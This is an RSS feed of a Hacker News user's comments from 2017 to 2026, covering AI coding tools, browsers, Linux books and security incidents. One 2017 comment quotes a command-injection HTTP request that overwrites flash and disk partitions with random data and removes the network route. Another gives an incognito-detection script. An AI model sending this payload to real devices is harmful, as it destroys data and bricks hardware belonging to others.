<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: catfood</title><link>https://news.ycombinator.com/user?id=catfood</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Wed, 28 Oct 2026 15:32:33 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=catfood" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by catfood in "Sebastian Raschka's from-scratch video course on building reasoning models"]]></title><description><![CDATA[
<p>I think it's one of those things where you have to work in the field to really get it and be productive. You just don't have the time or resources otherwise.</p>
]]></description><pubDate>Mon, 26 Oct 2026 18:43:50 +0000</pubDate><link>https://news.ycombinator.com/item?id=50248878</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=50248878</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=50248878</guid></item><item><title><![CDATA[New comment by catfood in "Gemini 4 Argon"]]></title><description><![CDATA[
<p>The should ask Claude to make the page scroll faster.</p>
]]></description><pubDate>Tue, 13 Oct 2026 21:28:28 +0000</pubDate><link>https://news.ycombinator.com/item?id=50079073</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=50079073</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=50079073</guid></item><item><title><![CDATA[New comment by catfood in "Slack Code"]]></title><description><![CDATA[
<p>Letting it rip and give it full infra, db, dns, all the keys to the castle, drinking from a telemetry firehose the whole time, a huge tangled web of integrations that all kind of works. I think just offloading as much as possible is the state of things.</p>
]]></description><pubDate>Thu, 20 Aug 2026 21:38:02 +0000</pubDate><link>https://news.ycombinator.com/item?id=49380623</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=49380623</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=49380623</guid></item><item><title><![CDATA[New comment by catfood in "Managing AI Coding Costs at Scale"]]></title><description><![CDATA[
<p>Practically free with any of the subscription plans.</p>
]]></description><pubDate>Sun, 09 Aug 2026 02:37:37 +0000</pubDate><link>https://news.ycombinator.com/item?id=49227908</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=49227908</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=49227908</guid></item><item><title><![CDATA[New comment by catfood in "Managing AI Coding Costs at Scale"]]></title><description><![CDATA[
<p>>Auto-fix bugs and CI until green + thermonuclear review skill x3.<p>Gotta love this loop, I have it running while I'm asleep all the time.</p>
]]></description><pubDate>Fri, 07 Aug 2026 21:51:26 +0000</pubDate><link>https://news.ycombinator.com/item?id=49216652</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=49216652</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=49216652</guid></item><item><title><![CDATA[New comment by catfood in "Born Against, or why hobby programming communities are against LLM usage"]]></title><description><![CDATA[
<p>I can't relate. It's so nice for quickly going deep on a subject you're interested in. Who cares if you typed the code in plain English?</p>
]]></description><pubDate>Thu, 06 Aug 2026 03:16:40 +0000</pubDate><link>https://news.ycombinator.com/item?id=49192001</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=49192001</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=49192001</guid></item><item><title><![CDATA[New comment by catfood in "I'm switching my phone from Android to Linux"]]></title><description><![CDATA[
<p>It would be fun to plop Claude Code down on a phone and play with the baseband processor.</p>
]]></description><pubDate>Thu, 06 Aug 2026 00:04:52 +0000</pubDate><link>https://news.ycombinator.com/item?id=49190739</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=49190739</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=49190739</guid></item><item><title><![CDATA[New comment by catfood in "WebUSB Extension for Firefox"]]></title><description><![CDATA[
<p>>And Web Serial reached mainline Firefox last week.<p>That's good news. I wish FF wasn't so conservative... they're missing a lot of cool APIs. Sometimes I wonder who they think their audience is. I suppose they would know better than I would.</p>
]]></description><pubDate>Mon, 20 Apr 2026 18:32:32 +0000</pubDate><link>https://news.ycombinator.com/item?id=47838617</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=47838617</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47838617</guid></item><item><title><![CDATA[New comment by catfood in "The Linux Programming Interface as a university course text"]]></title><description><![CDATA[
<p>One of the greatest texts ever written. Ok maybe just one of my favorites. I wouldn't mind a 2nd edition though... surely the system call interface has changed a bit since 2010.</p>
]]></description><pubDate>Mon, 16 Mar 2026 05:22:46 +0000</pubDate><link>https://news.ycombinator.com/item?id=47395440</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=47395440</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47395440</guid></item><item><title><![CDATA[New comment by catfood in "Conficker: The worm that nearly ate the internet"]]></title><description><![CDATA[
<p>A bunch of different ways probably. This method is stolen from SO (works for Chrome):<p>const detect = () => {
    var fs = window.RequestFileSystem || window.webkitRequestFileSystem;
    if (!fs) {
        console.log("FS check failed..");
        return;
    }
    fs(window.TEMPORARY, 100, function (fs) {}, function (err) {
        console.log("Incognito");
    });
};</p>
]]></description><pubDate>Mon, 01 Jul 2019 01:58:27 +0000</pubDate><link>https://news.ycombinator.com/item?id=20321886</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=20321886</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=20321886</guid></item><item><title><![CDATA[New comment by catfood in "How ‘Baldur’s Gate’ Saved the Computer RPG"]]></title><description><![CDATA[
<p>You're in luck, Divinity 2 runs perfectly for me on linux with Proton (with a little bit of work). Check protondb.com.</p>
]]></description><pubDate>Fri, 21 Dec 2018 23:52:07 +0000</pubDate><link>https://news.ycombinator.com/item?id=18737807</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=18737807</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=18737807</guid></item><item><title><![CDATA[New comment by catfood in "Ask HN: Favorite teachers on YouTube?"]]></title><description><![CDATA[
<p>Bisqwit: <a href="https://www.youtube.com/watch?v=eF9qWbuQLuw" rel="nofollow">https://www.youtube.com/watch?v=eF9qWbuQLuw</a><p>Also Professor Leonard but someone already mentioned him.</p>
]]></description><pubDate>Sun, 16 Sep 2018 19:32:46 +0000</pubDate><link>https://news.ycombinator.com/item?id=18000634</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=18000634</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=18000634</guid></item><item><title><![CDATA[New comment by catfood in "Ask HN: What's your favorite way of getting a web app up quickly in 2018?"]]></title><description><![CDATA[
<p>I don't do anything special for prototyping, I just use what I normally do if I were creating the real thing.<p>> django-admin startproject
> copy+paste my webpack config for React
> copy+paste my general management scripts into the package.json (mostly scripts to build the client, and if working locally also start a server)<p>Then if I want to deploy it, I just install nginx and gunicorn and again copy+paste my configs for those.<p>If I want to use mysql it's not too much trouble, takes 10 mins to get it up and running and my application hooked up to it.</p>
]]></description><pubDate>Sun, 03 Jun 2018 04:57:52 +0000</pubDate><link>https://news.ycombinator.com/item?id=17217973</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=17217973</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=17217973</guid></item><item><title><![CDATA[New comment by catfood in "Post-Mortem and Security Advisory: Data Exposure After travis-ci.com Outage"]]></title><description><![CDATA[
<p>Yeah they must mean new accounts, if not then I'm lost. I guess it could have reset autoincrement but they said it didn't. The only other thing I can think of is that the signed token that's put in localStorage is sent to the server like "someuser|sometoken", the server inspects sometoken, says it checks out, then takes the client at its word that it's someuser.</p>
]]></description><pubDate>Mon, 09 Apr 2018 07:12:18 +0000</pubDate><link>https://news.ycombinator.com/item?id=16791019</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=16791019</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=16791019</guid></item><item><title><![CDATA[New comment by catfood in "Post-Mortem and Security Advisory: Data Exposure After travis-ci.com Outage"]]></title><description><![CDATA[
<p>The part of that that I don't get is how a new user could have the same ID as an old (truncated) user since "our system created new records for them, with primary keys generated from the existing sequence (PostgreSQL does not reset id sequences on truncate)."<p>Do they mean that the only potentially exposed accounts are those that signed up after the database was restored?</p>
]]></description><pubDate>Mon, 09 Apr 2018 06:44:12 +0000</pubDate><link>https://news.ycombinator.com/item?id=16790915</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=16790915</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=16790915</guid></item><item><title><![CDATA[New comment by catfood in "Post-Mortem and Security Advisory: Data Exposure After travis-ci.com Outage"]]></title><description><![CDATA[
<p>So the session keys mapped to usernames, rather than IDs in the database? Otherwise, when the database is restored with the old user IDs, the session would become invalid instead of continuing to work. This is what I'm seeing:<p>1. Tables truncated.
2. In this window, someone creates an account with a username that existed in the dropped database.
3. They see a blank user page because a new user record was created.
4. Database restored.
5. It's as if you're logged into the original user's account.</p>
]]></description><pubDate>Mon, 09 Apr 2018 06:27:45 +0000</pubDate><link>https://news.ycombinator.com/item?id=16790850</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=16790850</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=16790850</guid></item><item><title><![CDATA[New comment by catfood in "Global cyber attack that left U.S. flag on screens"]]></title><description><![CDATA[
<p>"Some 55,000 devices were affected in the United States and 14,000 in China, and Iran's share of affected devices was 2 percent," Azari-Jahromi was quoted as saying.<p>Pretty misleading headline.</p>
]]></description><pubDate>Sun, 08 Apr 2018 05:33:43 +0000</pubDate><link>https://news.ycombinator.com/item?id=16784776</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=16784776</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=16784776</guid></item><item><title><![CDATA[New comment by catfood in "Blizzard games were vulnerable to DNS rebinding attack"]]></title><description><![CDATA[
<p>That's how it should be done yeah. Developers on Windows seem to be really loose in their use of TCP or UDP for IPC. Even my mouse driver opens up a port on 0.0.0.0.</p>
]]></description><pubDate>Mon, 22 Jan 2018 22:06:08 +0000</pubDate><link>https://news.ycombinator.com/item?id=16208405</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=16208405</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=16208405</guid></item><item><title><![CDATA[New comment by catfood in "Brushing up on operating systems and C programming"]]></title><description><![CDATA[
<p>The Linux Programming Interface is my favorite software book of all time. I had a problem that I think a lot of other people had, where I learned C the language pretty in depth, but didn't really know what to do with it until I read this.</p>
]]></description><pubDate>Sun, 21 Jan 2018 04:03:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=16196798</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=16196798</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=16196798</guid></item><item><title><![CDATA[New comment by catfood in "Internet Chemotherapy"]]></title><description><![CDATA[
<p>Check this one out:<p>'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n'</p>
]]></description><pubDate>Sun, 17 Dec 2017 22:43:39 +0000</pubDate><link>https://news.ycombinator.com/item?id=15948103</link><dc:creator>catfood</dc:creator><comments>https://news.ycombinator.com/item?id=15948103</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=15948103</guid></item></channel></rss>